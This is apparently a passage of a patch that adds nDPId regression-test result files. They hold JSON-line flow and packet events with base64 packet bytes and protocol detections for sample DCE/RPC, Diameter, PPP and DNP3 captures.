0AAAAAAAAAAQAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAgAPAEAAAIJ8aUwx19tR7Z\/gHNDneqtAAAAAAAAgAAAAIBRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAIADwBAAADCfGlMMdfbUe2f4BzQ53qrQAAAAAAAIAAAACAUgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACACAA8AQAABAnxpTDHX21Htn+Ac0Od6q0AAAAAAAIAAQAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAgAPAEAAAUJ8aUwx19tR7Z\/gHNDneqtAAAAAAACAAEAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAIADwBAAAGCfGlMMdfbUe2f4BzQ53qrQAAAAAAAgABAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACACAA8AQAABwnxpTDHX21Htn+Ac0Od6q0AAAAAAAMAAQAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAgAPAEAAAgJ8aUwx19tR7Z\/gHNDneqtAAAAAAADAAEAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAIADwBAAAJCfGlMMdfbUe2f4BzQ53qrQAAAAAABAABAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACACAA8AQAACgnxpTDHX21Htn+Ac0Od6q0AAAAAAAQAAQAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +01482{"flow_id":2,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"dcerpc.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1602860710,"pkt_ts_usec":25159,"pkt_caplen":846,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":846,"pkt_l4_len":812,"pkt":"ABwGCybtAA7wSJ4FCABFAANAAAYAAB4RFjjAqAEUwKgBC8AJwAMDLC54BAIKABAAAAAAAKDel2zREYJxAAEBAQFNAQCg3pds0RGCcQCgJELffQCp\/TWKNRISgAQAHAYLJu0AAAAAAQAAAAEAAAADAP\/\/\/\/\/UAgAAAAAAAAAAwAIAAFUDAAAAAAAAwAIAAIAIADwBAAAACfGlMMdfbUe2f4BzQ53qrf\/\/\/\/\/\/\/\/\/\/AADgQAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACACAA8AQAAAQnxpTDHX21Htn+Ac0Od6q0AAAAAAAAAAQAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAgAPAEAAAIJ8aUwx19tR7Z\/gHNDneqtAAAAAAAAgAAAAIBRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAIADwBAAADCfGlMMdfbUe2f4BzQ53qrQAAAAAAAIAAAACAUgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACACAA8AQAABAnxpTDHX21Htn+Ac0Od6q0AAAAAAAIAAQAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAgAPAEAAAUJ8aUwx19tR7Z\/gHNDneqtAAAAAAACAAEAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAIADwBAAAGCfGlMMdfbUe2f4BzQ53qrQAAAAAAAgABAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACACAA8AQAABwnxpTDHX21Htn+Ac0Od6q0AAAAAAAMAAQAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAgAPAEAAAgJ8aUwx19tR7Z\/gHNDneqtAAAAAAADAAEAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAIADwBAAAJCfGlMMdfbUe2f4BzQ53qrQAAAAAABAABAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACACAA8AQAACgnxpTDHX21Htn+Ac0Od6q0AAAAAAAQAAQAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00571{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"dcerpc.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1602860710,"pkt_ts_usec":32495,"pkt_caplen":174,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":174,"pkt_l4_len":140,"pkt":"AA7wSJ4FABwGCybtCABFAACgAYAAAB4RF17AqAELwKgBFMADiJQAjCmEBAAgAAAAAADeoAAAbJcR0YJxAAEBAQFN3qAAAWyXEdGCcQCgJELffTX9qQA1ihISgAQAHAYLJu0AAAAAAAAAAQAAAAIABP\/\/\/\/8ANAAAAAAAAAAgAAAAIAAAACAAAAAAAAAAIAEQABwBAAAACfGlMMdfbUe2f4BzQ53qrQACAAAAAQAA"} +00572{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"dcerpc.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1602860710,"pkt_ts_usec":32496,"pkt_caplen":174,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":174,"pkt_l4_len":140,"pkt":"AA7wSJ4FABwGCybtCABFAACgAYAAAB4RF17AqAELwKgBFMADiJQAjCmEBAAgAAAAAADeoAAAbJcR0YJxAAEBAQFN3qAAAWyXEdGCcQCgJELffTX9qQA1ihISgAQAHAYLJu0AAAAAAAAAAQAAAAIABP\/\/\/\/8ANAAAAAAAAAAgAAAAIAAAACAAAAAAAAAAIAEQABwBAAAACfGlMMdfbUe2f4BzQ53qrQACAAAAAQAA"} +00573{"flow_id":2,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"dcerpc.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1602860710,"pkt_ts_usec":62922,"pkt_caplen":174,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":174,"pkt_l4_len":140,"pkt":"ABwGCybtAA7wSJ4FCABFAACgAAcAAB4RGNfAqAEUwKgBC8AJwAMAjBCNBAIKABAAAAAAAKDel2zREYJxAAEBAQFNAQCg3pds0RGCcQCgJELffQCp\/TWKNRISgAQAHAYLJu0AAAAAAQAAAAIAAAAEAP\/\/\/\/80AAAAAAAAAAAAIAAAACAAAAAAAAAAIAAAAIEQABwBAAAACfGlMMdfbUe2f4BzQ53qrQACAAAACAAA"} +00573{"flow_id":2,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"dcerpc.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1602860710,"pkt_ts_usec":62922,"pkt_caplen":174,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":174,"pkt_l4_len":140,"pkt":"ABwGCybtAA7wSJ4FCABFAACgAAcAAB4RGNfAqAEUwKgBC8AJwAMAjBCNBAIKABAAAAAAAKDel2zREYJxAAEBAQFNAQCg3pds0RGCcQCgJELffQCp\/TWKNRISgAQAHAYLJu0AAAAAAQAAAAIAAAAEAP\/\/\/\/80AAAAAAAAAAAAIAAAACAAAAAAAAAAIAAAAIEQABwBAAAACfGlMMdfbUe2f4BzQ53qrQACAAAACAAA"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":13,"source":"dcerpc.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1602860710063,"flow_last_seen":0,"flow_tot_l4_data_len":140,"flow_min_l4_data_len":140,"flow_max_l4_data_len":140,"flow_avg_l4_data_len":140,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.20","dst_ip":"192.168.1.11","src_port":49162,"dst_port":34964,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00572{"flow_id":3,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"dcerpc.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1602860710,"pkt_ts_usec":63382,"pkt_caplen":174,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":174,"pkt_l4_len":140,"pkt":"ABwGCybtAA7wSJ4FCABFAACgAAgAAB4RGNbAqAEUwKgBC8AKiJQAjEB6BAAgABAAAAAAAKDel2zREYJxAGQBDQAqAgCg3pds0RGCcQCgJELffYDI+0MAABAQgAAADvBIngUAAAAAAQAAAAAAAAAEAP\/\/\/\/80AAAAAACgAAAAIAAAAKAAAAAAAAAAIAAAAAESABwBAAAACfGlMMdfbUe2f4BzQ53qrQACAAAAAgAA"} +00508{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":13,"source":"dcerpc.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1602860710063,"flow_last_seen":0,"flow_tot_l4_data_len":140,"flow_min_l4_data_len":140,"flow_max_l4_data_len":140,"flow_avg_l4_data_len":140,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.20","dst_ip":"192.168.1.11","src_port":49162,"dst_port":34964,"l4_proto":"udp","ndpi": {"proto":"DCE_RPC","breed":"Acceptable","category":"RPC"}} +00572{"flow_id":3,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"dcerpc.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1602860710,"pkt_ts_usec":63386,"pkt_caplen":174,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":174,"pkt_l4_len":140,"pkt":"ABwGCybtAA7wSJ4FCABFAACgAAgAAB4RGNbAqAEUwKgBC8AKiJQAjEB6BAAgABAAAAAAAKDel2zREYJxAGQBDQAqAgCg3pds0RGCcQCgJELffYDI+0MAABAQgAAADvBIngUAAAAAAQAAAAAAAAAEAP\/\/\/\/80AAAAAACgAAAAIAAAAKAAAAAAAAAAIAAAAAESABwBAAAACfGlMMdfbUe2f4BzQ53qrQACAAAAAgAA"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":15,"source":"dcerpc.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1602860710071,"flow_last_seen":0,"flow_tot_l4_data_len":140,"flow_min_l4_data_len":140,"flow_max_l4_data_len":140,"flow_avg_l4_data_len":140,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.11","dst_ip":"192.168.1.20","src_port":49154,"dst_port":49162,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00572{"flow_id":4,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"dcerpc.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1602860710,"pkt_ts_usec":71384,"pkt_caplen":174,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":174,"pkt_l4_len":140,"pkt":"AA7wSJ4FABwGCybtCABFAACgAYEAAB4RF13AqAELwKgBFMACwAoAjHUlBAIKAAAAAADeoAAAbJcR0YJxAGQBDQAq3qAAAmyXEdGCcQCgJELffUP7yIAAABAQgAAADvBIngUAJ7vVAAAAAQAAAAAABP\/\/\/\/8ANAAAAAAAAAAAAAAAIAAAAKAAAAAAAAAAIIESABwBAAAACfGlMMdfbUe2f4BzQ53qrQACAAAACAAA"} +00508{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":15,"source":"dcerpc.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1602860710071,"flow_last_seen":0,"flow_tot_l4_data_len":140,"flow_min_l4_data_len":140,"flow_max_l4_data_len":140,"flow_avg_l4_data_len":140,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.11","dst_ip":"192.168.1.20","src_port":49154,"dst_port":49162,"l4_proto":"udp","ndpi": {"proto":"DCE_RPC","breed":"Acceptable","category":"RPC"}} +00572{"flow_id":4,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":16,"source":"dcerpc.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1602860710,"pkt_ts_usec":71385,"pkt_caplen":174,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":174,"pkt_l4_len":140,"pkt":"AA7wSJ4FABwGCybtCABFAACgAYEAAB4RF13AqAELwKgBFMACwAoAjHUlBAIKAAAAAADeoAAAbJcR0YJxAGQBDQAq3qAAAmyXEdGCcQCgJELffUP7yIAAABAQgAAADvBIngUAJ7vVAAAAAQAAAAAABP\/\/\/\/8ANAAAAAAAAAAAAAAAIAAAAKAAAAAAAAAAIIESABwBAAAACfGlMMdfbUe2f4BzQ53qrQACAAAACAAA"} diff --git a/test/results/diameter.pcap.out b/test/results/diameter.pcap.out new file mode 100644 index 000000000..5d0ad8d7d --- /dev/null +++ b/test/results/diameter.pcap.out @@ -0,0 +1,7 @@ +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"diameter.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1263278878271,"flow_last_seen":0,"flow_tot_l4_data_len":364,"flow_min_l4_data_len":364,"flow_max_l4_data_len":364,"flow_avg_l4_data_len":364,"midstream":1,"l3_proto":"ip4","src_ip":"10.201.9.245","dst_ip":"10.201.9.11","src_port":50957,"dst_port":3868,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00870{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"diameter.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1263278878,"pkt_ts_usec":271686,"pkt_caplen":398,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":398,"pkt_l4_len":364,"pkt":"ABpk3ZWLACYYlIbACABFAAGABtlAAIAGAAAKyQn1CskJC8cNDxz34fq2+LwvkFAY+gQqBAAAAQABWIAAARAAAAAEAupJMCbwAAMAAAEHQAAAHW54bDthcGk7MTI2MzI3ODg3ODE0NwAAAAAAAc1AAAAUQ29tdmVyc2UuRENJAAABAkAAAAwAAAAEAAABCEAAABlueGwxLm5ldHhjZWxsLmNvbQAAAAAAAShAAAAUbmV0eGNlbGwuY29tAAABn0AAAAwAAAAAAAABJUAAABlkZ3UyLmNvbXZlcnNlLmNvbQAAAAAAARtAAAAUY29tdmVyc2UuY29tAAAAN0AAAAzO9pmeAAABu0AAACgAAAG8QAAAFDkxOTA4MDAwMDAxNgAAAcJAAAAMAAAAAAAAAbhAAAAkAAABuUAAAAwAAAACAAABukAAAA1kYmlsbAAAAAAAAaBAAAAMAAAAAQAAAbVAAAA0AAABnUAAACwAAAG9QAAAGAAAAb9AAAAQAAAAAAAAAAIAAAGpQAAADAAAAWQ="} +00726{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"diameter.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1263278878,"pkt_ts_usec":292831,"pkt_caplen":290,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":290,"pkt_l4_len":256,"pkt":"ACYYlIbAABpk3ZWLCABFAAEUlYlAAEAGe8kKyQkLCskJ9Q8cxw34vC+Q9+H8DlAYGSCUIQAAAQAA7EAAARAAAAAEAupJMCbwAAMAAAEHQAAAHW54bDthcGk7MTI2MzI3ODg3ODE0NwAAAAAAAQxAAAAMAAAH0QAAAQhAAAAaZHNsdTEuY29tdmVyc2UuY29tAAAAAAEoQAAAFGNvbXZlcnNlLmNvbQAAAQJAAAAMAAAABAAAAaBAAAAMAAAAAQAAAZ9AAAAMAAAAAAAAARZAAAAMAABBbQAAADdAAAAMzvaZ5QAAAcBAAAAMAAAABQAAAa9AAAA0AAABnUAAACwAAAG9QAAAGAAAAb9AAAAQAAAAAAAAAAIAAAGpQAAADAAAAWQ="} +00891{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"diameter.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1263278878,"pkt_ts_usec":336701,"pkt_caplen":414,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":414,"pkt_l4_len":380,"pkt":"ABpk3ZWLACYYlIbACABFAAGQBtpAAIAGAAAKyQn1CskJC8cNDxz34fwO+LwwfFAY+RgqFAAAAQABaIAAARAAAAAEAupJMSbwAAUAAAEHQAAAHW54bDthcGk7MTI2MzI3ODg3ODE0NwAAAAAAAc1AAAAUQ29tdmVyc2UuRENJAAABAkAAAAwAAAAEAAABCEAAABlueGwxLm5ldHhjZWxsLmNvbQAAAAAAAShAAAAUbmV0eGNlbGwuY29tAAABn0AAAAwAAAABAAABJUAAABlkZ3UyLmNvbXZlcnNlLmNvbQAAAAAAARtAAAAUY29tdmVyc2UuY29tAAAAN0AAAAzO9pmeAAABu0AAACgAAAG8QAAAFDkxOTA4MDAwMDAxNgAAAcJAAAAMAAAAAAAAAaBAAAAMAAAAAgAAAbVAAAA0AAABnUAAACwAAAG9QAAAGAAAAb9AAAAQAAAAAAAAAAIAAAGpQAAADAAAAWQAAAG+QAAANAAAAZ1AAAAsAAABvUAAABgAAAG\/QAAAEAAAAAAAAAABAAABqUAAAAwAAAFk"} +00726{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"diameter.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1263278878,"pkt_ts_usec":344805,"pkt_caplen":290,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":290,"pkt_l4_len":256,"pkt":"ACYYlIbAABpk3ZWLCABFAAEUlYpAAEAGe8gKyQkLCskJ9Q8cxw34vDB89+H9dlAYHVCNmAAAAQAA7EAAARAAAAAEAupJMSbwAAUAAAEHQAAAHW54bDthcGk7MTI2MzI3ODg3ODE0NwAAAAAAAQxAAAAMAAAH0QAAAQhAAAAaZHNsdTEuY29tdmVyc2UuY29tAAAAAAEoQAAAFGNvbXZlcnNlLmNvbQAAAQJAAAAMAAAABAAAAaBAAAAMAAAAAgAAAZ9AAAAMAAAAAQAAARZAAAAMAABBbQAAADdAAAAMzvaZ5QAAAcBAAAAMAAAABQAAAa9AAAA0AAABnUAAACwAAAG9QAAAGAAAAb9AAAAQAAAAAAAAAAIAAAGpQAAADAAAAWQ="} +00822{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"diameter.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1263278878,"pkt_ts_usec":350601,"pkt_caplen":362,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":362,"pkt_l4_len":328,"pkt":"ABpk3ZWLACYYlIbACABFAAFcBttAAIAGAAAKyQn1CskJC8cNDxz34f12+LwxaFAY+Cwp4AAAAQABNIAAARAAAAAEAupJMibwAAcAAAEHQAAAHW54bDthcGk7MTI2MzI3ODg3ODE0NwAAAAAAAc1AAAAUQ29tdmVyc2UuRENJAAABAkAAAAwAAAAEAAABCEAAABlueGwxLm5ldHhjZWxsLmNvbQAAAAAAAShAAAAUbmV0eGNlbGwuY29tAAABn0AAAAwAAAACAAABJUAAABlkZ3UyLmNvbXZlcnNlLmNvbQAAAAAAARtAAAAUY29tdmVyc2UuY29tAAAAN0AAAAzO9pmeAAABu0AAACgAAAG8QAAAFDkxOTA4MDAwMDAxNgAAAcJAAAAMAAAAAAAAAaBAAAAMAAAAAwAAAb5AAAA0AAABnUAAACwAAAG9QAAAGAAAAb9AAAAQAAAAAAAAAAEAAAGpQAAADAAAAWQ="} +00642{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"diameter.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1263278878,"pkt_ts_usec":357703,"pkt_caplen":226,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":226,"pkt_l4_len":192,"pkt":"ACYYlIbAABpk3ZWLCABFAADUlYtAAEAGfAcKyQkLCskJ9Q8cxw34vDFo9+H+qlAYIYAUAQAAAQAArEAAARAAAAAEAupJMibwAAcAAAEHQAAAHW54bDthcGk7MTI2MzI3ODg3ODE0NwAAAAAAAQxAAAAMAAAH0QAAAQhAAAAaZHNsdTEuY29tdmVyc2UuY29tAAAAAAEoQAAAFGNvbXZlcnNlLmNvbQAAAQJAAAAMAAAABAAAAaBAAAAMAAAAAwAAAZ9AAAAMAAAAAgAAARZAAAAMAABBbQAAADdAAAAMzvaZ5Q=="} diff --git a/test/results/dlt_ppp.pcap.out b/test/results/dlt_ppp.pcap.out new file mode 100644 index 000000000..15fbf47d7 --- /dev/null +++ b/test/results/dlt_ppp.pcap.out @@ -0,0 +1,2 @@ +01956{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1,"source":"dlt_ppp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1,"pkt_ts_usec":31048,"pkt_caplen":1230,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1230,"pkt_l4_len":0,"pkt":"ACFFAgTMQT1AAD8RDTPBpwD8wadkZKwzAbsEuAAAz\/8AAB0MtxIpOpsU8gzQWdyoBJhpwdcARJZ0OsZN0bl8VJfvOykoeuttM0eMWHJwpGpOPAqWh0GUfp9IIe82zPEOJxxbudM5\/pOWImGkMJYnZKC4oc+Wie817ZluT3qGlbT6FmvR7wgU3ZlqiJlO4+0DRHL4d\/DzL3RfCdhaKCfxoviWr9OOaF9xayHBTgloTkVIbSLderihnwr+mk7qqrStghVdXJFtnOWHTzAMdmPpzaY99oTPzZwWklZzjG9W5shdxiA8ok\/3pt2WMY3QJIDzbHzKP+7ZsLr5YGFFIYxx1JspmQXO5+U3jVl43o7+huGmMmGYHNdWbRYYgFoAkcV642cnCac+cZPVd9ar\/XFRGfd\/WaFVK+zvTNX+exQ7Y3ZIotGRLaPFvGpj3H1W9HNWBEKODu7hETU2OX\/NaZuNjAbfxxKVTC9o6LUxoTVjag4leuFawG3pE6XLxFh9fenfXyYspIGy40nX701+znmPySuhrrYghEKqHVTFz\/fjb5y59pxDqwfx2gz+0tLjNRNMLdNY1Ag+BpNZPQBZDxS1Q4nlCfUqLKWSJpEsd+mHyUC3pRaolG8Jpu68ULGXjJ4ZKS7952WY2QtbjEtiMSGVNPERp0foW+HREy8qKb+tFgJ65NsBWY0E9\/jJGGpFUnix\/C7BDjtX\/ZgK9gfyvVQabBdj7mBntuOhNmnilWaVEIOX7CKCv2V+0LQWQOOVtmTWBQy0XrnBP7R005Av3+pdvoITeQ2zEo762fyDmFlboLbmiVV7z4cyXPPQL6MPya78HzZSLTnm3Xxv8O87bNxZE+T0J9baS33P9HRocrLvAjLFAWSMQbXzM6RAx0uu2+2kxSt4LNQRr+Nvhj9iZm0i+9tU23DVWOg6UFW+uqUPF0ds+jp9XdVBP+b6UC3e79iGd\/QTg4M7OYt7pt75ojnbr+ZjxHE8B0GZ1bPhHUhQ\/439iohTEuvizuLosg\/9ETTUUdbasnXh9D\/+SO51ABAnZvM6SDJ1pj177GYIwa\/ZqyWvarQpS41HFFKu4RYpQHjOT56xqgSjrLEWXyerkTEX8shaJqUzTf0hupuyCJ\/APa3545+ZYzvcCDGD7g4mx1kJ6bCPcx5s\/v5xv0RJBodp9K1hK4v\/DTDZxZGtU5gN0XXnA0WlvhheGJ1S\/ZaCizvBvbTeu8i2DUwd4Wme2LeIVwWL1YRsoozl32VaoHYmsfd7GuS4nwcSIq7qOKc\/v0ngj3r3ND1Z2VcoyXNbqPLJo2kpXaoXlSfOfSzoS+BYoeB3qst\/3RnzIpMan+YfjUUqTAsAH+lgJatdqf9zS60Yl5fSUpCDIosbThj4VOLqNKWrLQjA8v+93FIA3\/NFEDMSuNxj605kSA9S9GRrTJHsR5osW14O2xZRF\/BiXyz77L3\/OW35KvEzzuGXD5Apmt9048cnckQ+W8pGZui61Z81+NpEDiVl5\/7woKFPqgJn9vKV42rT4DXlRToJ8qpzLeevd936RndwoN8DMGcbfT7BT7\/CndBaHTk\/Xoi\/g0FlSSofCargF+zZqnP61iuG15DY\/IC7bC0k3NnOEoXpUUSiCOrtQOJtDXQygOL8Gb9V"} +00158{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1,"source":"dlt_ppp.pcap","alias":"nDPId-test","datalink":9} diff --git a/test/results/dnp3.pcap.out b/test/results/dnp3.pcap.out new file mode 100644 index 000000000..9102be64c --- /dev/null +++ b/test/results/dnp3.pcap.out @@ -0,0 +1,143 @@ +00461{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"dnp3.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1097501938503,"flow_last_seen":0,"flow_tot_l4_data_len":28,"flow_min_l4_data_len":28,"flow_max_l4_data_len":28,"flow_avg_l4_data_len":28,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.8","dst_ip":"10.0.0.3","src_port":2789,"dst_port":20000,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00417{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097501938,"pkt_ts_usec":503079,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"AAKzznBRAFAEk3BnCABFAAAwTFlAAIAGmmQKAAAICgAAAwrlTiBVHBrSAAAAAHAC\/\/+mIQAAAgQFtAEBBAI="} +00417{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097501938,"pkt_ts_usec":503079,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"AAKzznBRAFAEk3BnCABFAAAwTFlAAIAGmmQKAAAICgAAAwrlTiBVHBrSAAAAAHAC\/\/+mIQAAAgQFtAEBBAI="} +00417{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097501938,"pkt_ts_usec":503079,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"AAKzznBRAFAEk3BnCABFAAAwTFlAAIAGmmQKAAAICgAAAwrlTiBVHBrSAAAAAHAC\/\/+mIQAAAgQFtAEBBAI="} +00417{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097501938,"pkt_ts_usec":503280,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"AFAEk3BnAAKzznBRCABFAAAwkmJAAIAGVFsKAAADCgAACE4gCuVSxjiFVRwa03AS\/\/8axQAAAgQFtAEBBAI="} +00417{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097501938,"pkt_ts_usec":503280,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"AFAEk3BnAAKzznBRCABFAAAwkmJAAIAGVFsKAAADCgAACE4gCuVSxjiFVRwa03AS\/\/8axQAAAgQFtAEBBAI="} +00417{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097501938,"pkt_ts_usec":503280,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"AFAEk3BnAAKzznBRCABFAAAwkmJAAIAGVFsKAAADCgAACE4gCuVSxjiFVRwa03AS\/\/8axQAAAgQFtAEBBAI="} 